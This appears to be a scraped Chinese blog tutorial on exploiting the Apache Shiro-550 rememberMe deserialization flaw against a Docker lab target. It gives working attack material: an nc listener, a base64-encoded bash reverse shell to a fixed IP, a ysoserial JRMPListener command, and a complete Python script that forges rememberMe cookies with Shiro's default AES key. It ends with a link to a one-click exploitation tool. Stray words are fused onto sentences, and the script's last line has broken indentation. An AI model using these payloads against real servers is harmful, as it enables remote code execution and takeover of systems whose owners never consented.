Shiro remeberMe反序列化漏洞(Shiro-550)

1.漏洞原理

Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登陸成功後會生成通過加密並編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼而後AES解密再反序列化,就致使了反序列化RCE漏洞。html

那麼,Payload產生的過程:命令=》序列化=》AES加密=》base64編碼=》RememberMe Cookie值java

在整個漏洞利用過程當中,比較重要的是AES加密的密鑰,若是沒有修改默認的密鑰那麼久很容易就知道密鑰,payload構造起來也是十分簡單。python

1.1影響版本:Apache Shiro < 1.2.4

1.2特徵判斷:返回包中包含rememberMe=deleteMe字段


2.漏洞發現

2.1環境搭建

獲取docker鏡像

docker pull medicean/vulapps:s_shiro_1

啓動docker鏡像:

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

2.2漏洞檢測

這裏使用一個shiro_exploit工具,檢查是否存在默認的key

github項目地址:https://github.com/insightglacier/Shiro_exploit

使用方法:python2 shiro_exploit.py –u 目標機地址及端口

image

image

會不停的匹配key值,共22種。經過對靶場的測試咱們發現使用紅框裏的AES密鑰,有了key以後有兩種利用方式。git

3.漏洞利用

3.1利用方式一:反彈shell

3.1.1製做反彈shell代碼

監聽本地端口

nc –lvp 1234

Java Runtime配合bash編碼,在線編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html

獲得編碼後的結果:  bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

image

3.1.2經過ysoserial中JRMP監聽模塊,監聽6666端口並執行反彈shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

3.1.3使用shiro.py生成payload

python shiro.py 192.168.21.129:6666

shiro.py代碼以下:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

     popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

     BS = AES.block_size

     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

     iv = uuid.uuid4().bytes

     encryptor = AES.new(key, AES.MODE_CBC, iv)

     file_body = pad(popen.stdout.read())

     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

     return base64_ciphertext

if __name__ == '__main__':

     payload = encode_rememberme(sys.argv[1])  

print "rememberMe={0}".format(payload.decode())

image

3.1.4構造數據包,僞造cookie,發送payload

輸入任意帳號密碼,記住選擇rememberme選項

image

將以前生成的payload加入到cookie中發送

image

nc監聽端口,成功反彈

image

Java監聽接口,查看服務器連接狀況

image

一鍵化自動化工具:https://github.com/feihong-cs/ShiroExploit

相關文章
相關標籤/搜索